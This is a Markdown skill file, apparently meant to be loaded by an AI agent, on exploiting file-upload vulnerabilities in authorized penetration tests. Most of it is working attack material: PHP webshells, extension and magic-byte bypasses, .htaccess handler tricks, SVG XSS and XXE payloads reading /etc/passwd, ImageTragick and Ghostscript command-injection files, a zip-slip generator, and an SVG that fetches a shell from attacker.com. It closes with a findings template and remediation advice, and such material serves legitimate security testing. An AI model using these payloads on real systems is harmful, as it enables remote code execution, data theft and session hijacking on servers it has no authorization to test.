exploiting-file-upload-vulnerabilities
$
npx mdskill add xalgord/xalgorix/exploiting-file-upload-vulnerabilities- During authorized penetration tests when the application allows users to upload files (avatars, documents, images, attachments) - When testing file processing features (image resizing, document conversion, CSV/XML import) - For assessing applications with rich media upload (profile pictures, galleries, file managers) - When evaluating APIs with multipart form data endpoints - During security assessments of cloud storage integrations (S3 pre-signed URLs, Azure Blob)
SKILL.md
.github/skills/exploiting-file-upload-vulnerabilitiesView on GitHub ↗
---
name: exploiting-file-upload-vulnerabilities
description: Identifying and exploiting insecure file upload functionality to achieve remote code execution, stored XSS, path traversal, and denial of service during authorized penetration tests.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- file-upload
- rce
- owasp
- web-security
- webshell
version: '1.0'
author: xalgord
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- DE.CM-01
---
# Exploiting File Upload Vulnerabilities
## When to Use
- During authorized penetration tests when the application allows users to upload files (avatars, documents, images, attachments)
- When testing file processing features (image resizing, document conversion, CSV/XML import)
- For assessing applications with rich media upload (profile pictures, galleries, file managers)
- When evaluating APIs with multipart form data endpoints
- During security assessments of cloud storage integrations (S3 pre-signed URLs, Azure Blob)
## Critical: Payload Matrix and Bypasses (checklist-derived)
### Extension bypass matrix (PHP/ASP/JSP targets)
```
shell.php shell.php5 shell.phtml
shell.pHp shell.php.jpg shell.php%00.jpg # null byte (older PHP/ASP)
shell.php;.jpg shell.php/ shell.php.... # trailing dots (Windows strips)
shell.asp;.jpg shell.aspx shell.jsp
shell.svg shell.xml shell.html
```
- **Double extension:** `shell.php.jpg` (and reverse `shell.jpg.php`).
- **Case toggling:** `.pHp`, `.PHP`, `.Php` to dodge case-sensitive blocklists.
- **Trailing chars (Windows):** dots/spaces `shell.php.`, `shell.php ` get trimmed on save and execute.
- **Path/parser confusion:** `shell.php;.jpg`, `shell.php/`, `shell.php%00.jpg`.
### Content-Type spoof
```
# Send a PHP body but declare an image MIME type
Content-Type: image/png (or image/jpeg, image/gif)
<?php system($_GET["cmd"]); ?>
```
### Magic-byte prefixing (pass content sniffing)
```
GIF89a<?php system($_GET["cmd"]); ?> # GIF magic + PHP
\xFF\xD8\xFF\xE0 + <?php ... ?> # JPEG magic + PHP
\x89PNG\r\n\x1a\n + <?php ... ?> # PNG magic + PHP
```
### Polyglots & handler-enabling uploads
- **Polyglot files:** GIFAR (GIF+JAR), phar-jpg (valid JPEG that is also a PHP phar) — valid image AND executable.
- **.htaccess (Apache):** upload `AddType application/x-httpd-php .xyz` then upload `shell.xyz`.
- **web.config (IIS):** upload to enable handler mapping / inline `<%...%>` execution.
### SVG / image-library exploits
```
# SVG stored XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"><rect/></svg>
# SVG XXE / SSRF
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg><text>&xxe;</text></svg>
# ImageTragick / ImageMagick MVG/MSL (CVE-2016-3714)
fill 'url(https://x"|id > /tmp/pwned")' # inside an .mvg/.msl uploaded as image
```
### Path traversal / archive tricks in the filename
```
filename=../../../var/www/html/shell.php # traversal in upload path
filename=..%2f..%2f..%2fshell.php # URL-encoded
filename=..%252f..%252fshell.php # double-encoded
zip-slip: archive entry "../../shell.php" # writes outside extract dir
```
### Confirmation
- Capture the **uploaded file URL** from the response (JSON `url`/`path`, redirect, or by enumerating `/uploads`, `/media`, `/files`).
- **Request the file directly** and check behavior: code execution (e.g., `?cmd=id` returns command output), or for SVG/HTML open it and confirm script runs.
- Check the served `Content-Type`/`Content-Disposition` — `text/html` or `x-httpd-php` (no `attachment`) means the payload will execute rather than download.
## Prerequisites
- **Authorization**: Written penetration testing agreement including upload testing scope
- **curl**: For crafting multipart upload requests
- **exiftool**: For metadata injection (`apt install libimage-exiftool-perl`)
- **Burp Suite**: For intercepting and modifying upload requests
- **Weevely/phpggc**: For generating PHP webshells and deserialization payloads
- **ImageMagick test images**: For ImageTragick exploitation
- **Knowledge of target stack**: PHP, ASP.NET, Java, Node.js — determines viable shell extensions
## Workflow
### Step 1: Identify Upload Functionality and Map Restrictions
Enumerate all upload endpoints and understand validation mechanisms.
```bash
# Find upload endpoints by crawling
katana -u https://target.example.com -d 3 | grep -iE "upload|file|attach|import|avatar|image|media"
# Common upload endpoints:
# /upload, /api/upload, /api/v1/files, /media/upload
# /profile/avatar, /settings/photo, /documents/import
# /api/attachments, /admin/import, /editor/images
# Test basic upload and observe response
curl -v -X POST \
-H "Authorization: Bearer $TOKEN" \
-F "file=@test.txt" \
"https://target.example.com/api/upload"
# Check what file types are accepted
for ext in php php3 php5 phtml pht phps php7 \
asp aspx ashx asmx svc \
jsp jspx jsw jsv \
py pl rb cgi sh \
svg html htm xml \
pdf docx xlsx csv; do
echo "test" > "test.$ext"
echo -n "$ext -> "
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@test.$ext" \
"https://target.example.com/api/upload"
echo
rm -f "test.$ext"
done
```
### Step 2: Bypass Extension Filters
When the server blocks dangerous extensions, use bypass techniques.
```bash
# === EXTENSION BYPASS TECHNIQUES ===
# Double extension
cp shell.php shell.php.jpg
curl -F "file=@shell.php.jpg" "$UPLOAD_URL"
# Null byte injection (older PHP/ASP)
cp shell.php "shell.php%00.jpg"
curl -F "file=@shell.php%00.jpg" "$UPLOAD_URL"
# Case manipulation
cp shell.php shell.pHp
cp shell.php shell.PHP
cp shell.php shell.Php
for f in shell.pHp shell.PHP shell.Php; do
echo -n "$f -> "
curl -s -o /dev/null -w "%{http_code}" -F "file=@$f" "$UPLOAD_URL"
echo
done
# Alternative PHP extensions
for ext in php3 php4 php5 php7 phtml pht phps phar; do
cp shell.php "shell.$ext"
echo -n "$ext -> "
curl -s -o /dev/null -w "%{http_code}" -F "file=@shell.$ext" "$UPLOAD_URL"
echo
done
# Trailing characters
cp shell.php "shell.php."
cp shell.php "shell.php "
cp shell.php "shell.php::$DATA" # Windows NTFS ADS
# Content-Type bypass (change MIME while keeping .php)
curl -X POST \
-H "Authorization: Bearer $TOKEN" \
-F "file=@shell.php;type=image/jpeg" \
"$UPLOAD_URL"
# .htaccess upload (Apache) — make .xyz execute as PHP
echo "AddType application/x-httpd-php .xyz" > .htaccess
curl -F "file=@.htaccess" "$UPLOAD_URL"
echo '<?php system($_GET["cmd"]); ?>' > shell.xyz
curl -F "file=@shell.xyz" "$UPLOAD_URL"
```
### Step 3: Exploit Content-Type and Magic Byte Validation
Bypass server-side content validation by manipulating headers and file internals.
```bash
# === MAGIC BYTE INJECTION ===
# Create PHP shell with JPEG magic bytes (FFD8FF)
printf '\xFF\xD8\xFF\xE0' > polyglot.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.jpg
curl -F "file=@polyglot.php.jpg;type=image/jpeg" "$UPLOAD_URL"
# Create PHP shell with PNG magic bytes (89504E47)
printf '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' > polyglot.php.png
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.png
# Create PHP shell with GIF magic bytes (GIF89a)
echo -n 'GIF89a' > polyglot.php.gif
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.gif
curl -F "file=@polyglot.php.gif;type=image/gif" "$UPLOAD_URL"
# Inject PHP into EXIF data of real image
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legit-image.jpg
mv legit-image.jpg shell.php.jpg
curl -F "file=@shell.php.jpg" "$UPLOAD_URL"
# SVG with embedded XSS (Stored XSS via upload)
cat > xss.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
<rect width="100" height="100"/>
</svg>
EOF
curl -F "file=@xss.svg;type=image/svg+xml" "$UPLOAD_URL"
# SVG with SSRF via XXE
cat > xxe.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
EOF
curl -F "file=@xxe.svg;type=image/svg+xml" "$UPLOAD_URL"
```
### Step 4: Path Traversal via Filename
Attempt to write files outside the upload directory.
```bash
# Path traversal in filename header
curl -X POST \
-H "Authorization: Bearer $TOKEN" \
-F "file=@shell.php;filename=../../../var/www/html/shell.php" \
"$UPLOAD_URL"
# URL-encoded traversal
curl -X POST \
-F "file=@shell.php;filename=..%2F..%2F..%2Fshell.php" \
"$UPLOAD_URL"
# Double URL-encoded
curl -X POST \
-F "file=@shell.php;filename=..%252F..%252F..%252Fshell.php" \
"$UPLOAD_URL"
# Backslash variant (Windows servers)
curl -X POST \
-F "file=@shell.php;filename=..\\..\\..\\inetpub\\wwwroot\\shell.aspx" \
"$UPLOAD_URL"
# Overwrite critical files
curl -X POST \
-F "file=@malicious.htaccess;filename=.htaccess" \
"$UPLOAD_URL"
```
### Step 5: Exploit Image Processing Libraries
Target server-side image processing (ImageMagick, GD, Pillow).
```bash
# ImageTragick (CVE-2016-3714)
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
EOF
curl -F "file=@exploit.mvg;filename=exploit.jpg" "$UPLOAD_URL"
# ImageMagick SVG shell
cat > exploit.svg << 'EOF'
<image>
<read filename="ephemeral:/tmp/test"/>
<write filename="/tmp/shell.php"/>
<svg xmlns="http://www.w3.org/2000/svg">
<image href="https://attacker.com/shell.php" />
</svg>
</image>
EOF
# Ghostscript exploitation (PDF/EPS processing)
cat > exploit.eps << 'EOF'
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
EOF
curl -F "file=@exploit.eps;filename=document.eps" "$UPLOAD_URL"
# Zip Slip (archive extraction traversal)
# Create a zip with path traversal entries
python3 -c "
import zipfile, io
z = zipfile.ZipFile('zipslip.zip', 'w')
z.writestr('../../../tmp/evil.txt', 'pwned')
z.close()
"
curl -F "file=@zipslip.zip" "$UPLOAD_URL"
```
### Step 6: Verify Uploaded Webshell Execution
After successful upload, locate and execute the shell.
```bash
# Common upload directories to check
for dir in /uploads /media /images /files /attachments \
/static/uploads /assets/uploads /content/images \
/wp-content/uploads /user/files; do
echo -n "$dir/shell.php -> "
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com${dir}/shell.php"
echo
done
# If upload returns file URL, test direct execution
UPLOAD_URL=$(curl -s -F "file=@shell.php.jpg" "$UPLOAD_URL" | jq -r '.url // .path // .file_url')
echo "Uploaded to: $UPLOAD_URL"
curl -s "https://target.example.com${UPLOAD_URL}?cmd=id"
# Test if uploaded file is served with correct content type
curl -sI "https://target.example.com/uploads/shell.php" | grep -i content-type
# If content-type is text/html or application/x-httpd-php → code will execute
# Minimal PHP webshell for proof-of-concept (READ-ONLY commands only)
echo '<?php echo shell_exec("id && hostname && cat /etc/hostname"); ?>' > poc.php
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Unrestricted File Upload** | Application accepts any file without validation — direct RCE risk |
| **Extension Blocklist** | Server blocks known dangerous extensions but can be bypassed with alternatives |
| **MIME Type Validation** | Checking Content-Type header only — easily spoofed by the client |
| **Magic Byte Validation** | Checking file header bytes — bypassed with polyglot files |
| **Polyglot File** | A file that is valid in multiple formats simultaneously (e.g., valid JPEG + valid PHP) |
| **Path Traversal Upload** | Writing files outside the intended upload directory via filename manipulation |
| **ImageTragick** | CVE-2016-3714 — ImageMagick command injection via crafted image files |
| **Zip Slip** | Archive extraction vulnerability allowing file writes outside the target directory |
| **Race Condition Upload** | File is briefly accessible before server-side validation deletes it |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **Burp Suite** | Intercept and modify upload requests, change Content-Type and filename |
| **exiftool** | Inject payloads into image EXIF metadata |
| **Weevely** | Generate obfuscated PHP webshells that evade signature detection |
| **phpggc** | PHP deserialization gadget chain generator for upload+deserialize chains |
| **fuxploider** | Automated file upload vulnerability scanner |
| **upload-scanner (Burp extension)** | Automated upload bypass testing within Burp Suite |
## Common Scenarios
### Scenario 1: Avatar Upload to RCE
Profile avatar upload accepts JPEG files. By uploading a polyglot file with GIF89a magic bytes and a .php.jpg double extension, the server stores it as PHP. Accessing the URL directly triggers PHP execution, achieving RCE.
### Scenario 2: SVG Upload to Stored XSS
Application allows SVG uploads for user icons. An SVG containing `onload="alert(document.cookie)"` executes JavaScript in every user's browser who views the icon, enabling session hijacking.
### Scenario 3: ZIP Import with Path Traversal
A bulk import feature extracts uploaded ZIP files. A crafted ZIP with `../../shell.php` entries writes a webshell to the web root outside the upload directory.
### Scenario 4: Document Converter SSRF
A PDF-from-URL feature uses server-side rendering. Uploading an HTML file with `<iframe src="http://169.254.169.254/latest/meta-data/">` causes the renderer to fetch and embed cloud metadata in the generated PDF.
## Output Format
```
## File Upload Vulnerability Finding
**Vulnerability**: Unrestricted File Upload → Remote Code Execution
**Severity**: Critical (CVSS 9.8)
**Location**: POST /api/profile/avatar - `file` parameter
**OWASP Category**: A04:2021 - Insecure Design
### Reproduction Steps
1. Create polyglot PHP/JPEG: printf '\xFF\xD8\xFF\xE0' > shell.php.jpg && echo '<?php system("id"); ?>' >> shell.php.jpg
2. Upload via POST /api/profile/avatar with Content-Type: image/jpeg
3. Server returns upload path: /uploads/avatars/shell.php.jpg
4. Access https://target.example.com/uploads/avatars/shell.php.jpg → PHP executes
5. Command output: uid=33(www-data) gid=33(www-data)
### Impact
- Full remote code execution as www-data user
- Read access to application source code and configuration
- Database credential extraction from config files
- Potential lateral movement to internal services
### Recommendation
1. Validate file content using magic bytes AND re-encode images (strip metadata)
2. Use allowlist for file extensions (not blocklist)
3. Store uploads outside the web root with randomized non-guessable filenames
4. Serve uploads from a separate domain/CDN with no-execute headers
5. Set Content-Disposition: attachment for all uploaded files
6. Implement Content-Security-Policy to prevent inline script execution from SVG
```